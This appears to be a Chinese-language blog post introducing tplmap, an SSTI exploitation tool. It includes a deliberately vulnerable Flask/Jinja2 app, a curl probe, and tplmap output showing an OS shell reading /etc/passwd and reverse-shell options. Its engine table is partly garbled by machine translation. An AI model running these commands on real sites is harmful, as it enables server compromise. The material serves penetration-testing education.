Customize Consent Preferences

We use cookies to help you navigate efficiently and perform certain functions. You will find detailed information about all cookies under each consent category below.

The cookies that are categorized as "Necessary" are stored on your browser as they are essential for enabling the basic functionalities of the site. ... 

Always Active

Necessary cookies are required to enable the basic features of this site, such as providing secure log-in or adjusting your consent preferences. These cookies do not store any personally identifiable data.

No cookies to display.

Functional cookies help perform certain functionalities like sharing the content of the website on social media platforms, collecting feedback, and other third-party features.

No cookies to display.

Analytical cookies are used to understand how visitors interact with the website. These cookies help provide information on metrics such as the number of visitors, bounce rate, traffic source, etc.

No cookies to display.

Performance cookies are used to understand and analyze the key performance indexes of the website which helps in delivering a better user experience for the visitors.

No cookies to display.

Advertisement cookies are used to provide visitors with customized advertisements based on the pages you visited previously and to analyze the effectiveness of the ad campaigns.

No cookies to display.

開源資安工具 – 自動化滲透模板引擎 SSTI – tplmap

Tplmap 通過多種沙箱轉義技術幫助利用代碼注入和服務器端模板注入漏洞來訪問底層操作系統。

該工具及其測試套件旨在研究 SSTI 漏洞類,並在 Web 應用程序滲透測試期間用作攻擊性安全工具。

唯一可惜的是只支援python2 且作者不再提供維護了。

什麼是 SSTI?

SSTI (Server-side template injection)

模板引擎允許開發人員使用帶有動態元素的靜態 HTML 頁面。以靜態 profile.html 頁面為例,模板引擎將允許開發人員設置用戶名參數,該參數將始終設置為當前用戶的用戶名

服務器端模板注入,是指用戶能夠傳入可以控制服務器上運行的模板引擎的參數。

例如

這引入了一個漏洞,因為它允許黑客將模板代碼注入網站。從 XSS 到 RCE,這種影響可能是毀滅性的。

注意:不同的模板引擎有不同的注入負載,但是通常你可以使用 {{2+2}} 作為測試來測試 SSTI。

如何注入?

沙盒突破技術來自 James Kett 的Server-Side Template Injection: RCE For The Modern Web App、其他公開研究[1] [2]以及對該工具的原創貢獻[3] [4]

它可以利用多種代碼上下文和盲注場景。它還支持在 Python、Ruby、PHP、Java 和通用的非沙盒模板引擎中進行類似eval()的代碼注入。

假設您正在審計一個使用由用戶提供的值組成的模板生成動態頁面的網站,例如這個用 Python 和Flask編寫的 Web 應用程序,它以不安全的方式使用Jinja2模板引擎。

from flask import Flask, request
from jinja2 import Environment

app = Flask(__name__)
Jinja2 = Environment()

@app.route("/page")
def page():

    name = request.values.get('name')
    
    # SSTI VULNERABILITY
    # The vulnerability is introduced concatenating the
    # user-provided `name` variable to the template string.
    output = Jinja2.from_string('Hello ' + name + '!').render()
    
    # Instead, the variable should be passed to the template context.
    # Jinja2.from_string('Hello {{name}}!').render(name = name)

    return output

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

而你可以直接透過

curl -g 'http://www.target.com/page?name={{7*7}}'

來發現 name = 49 ,這就存在SSTI。

Tplmap

github https://github.com/epinna/tplmap

tplmap 的基本語法取決於您使用的是 get 還是 post。

GETtplmap -u <url>/?<vulnparam>
POSTtplmap -u <url> -d ‘<vulnparam>’
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: linux
  Technique: render
  Capabilities:

   Shell command execution: ok
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:

    --os-shell                Run shell on the target
    --os-cmd                  Execute shell commands
    --bind-shell PORT         Connect to a shell bind to a target port
    --reverse-shell HOST PORT Send a shell back to the attacker's port
    --upload LOCAL REMOTE     Upload files to the server
    --download REMOTE LOCAL   Download remote files

使用--os-shell選項在目標上啟動一個偽終端。

$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Run commands on the operating system.

linux $ whoami
www
linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

支持的模板引擎

Tplmap 支持超過 15 個模板引擎、非沙盒模板引擎和通用eval() 之類的注入。

引擎遠程命令執行瞎的代碼評估文件讀取文件寫入
真子Python
Jinja2Python
Python(代碼評估)Python
龍捲風Python
修女JavaScript
帕格JavaScript
JavaScript
馬可JavaScript
JavaScript(代碼評估)JavaScript
灰塵(<=dustjs-helpers@1.5.0)JavaScript
EJSJavaScript
Ruby(代碼評估)紅寶石
苗條的紅寶石
再培訓局紅寶石
Smarty(不安全)PHP
PHP(代碼評估)PHP
樹枝 (<=1.19)PHP
自由標記爪哇
速度爪哇
樹枝 (>1.19)×××××
Smarty(安全)×××××
灰塵(>dustjs-helpers@1.5.0)×××××

參考資料:https://tryhackme.com/room/zthobscurewebvulns

另外推薦一篇文章很詳細:

https://ithelp.ithome.com.tw/articles/10244403

Back To Top
error: 內容被保護 !!
Buy Me A Coffee
歡迎贊助 sectools.tw 讓這個網站更好~!